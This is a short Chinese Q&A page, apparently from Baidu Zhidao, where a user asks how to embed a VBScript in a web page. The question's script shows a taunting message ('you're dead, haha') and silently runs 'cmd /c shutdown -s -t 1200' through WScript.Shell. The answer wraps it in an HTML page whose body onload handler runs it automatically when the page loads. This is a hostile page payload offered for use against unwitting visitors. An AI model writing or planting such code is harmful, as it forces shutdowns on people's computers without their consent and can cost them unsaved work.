帮我把这段VBS代码嵌入网页里

来源：百度知道 编辑：UC知道 时间：2024/06/30 05:52:43
dim a
msgbox("你死定了，哈哈")
set ws=wscript.Createobject("wscript.shell")
ws.run "cmd /c shutdown -s -t 1200",0

<html>
<head>
<script language = "vbscript">
sub main()
dim a
msgbox("你死定了，哈哈")
set ws=Createobject("wscript.shell")
ws.run "cmd /c shutdown -s -t 1200",0
end sub
</script>
</head>
<body onload = "main()">
</body>
</html>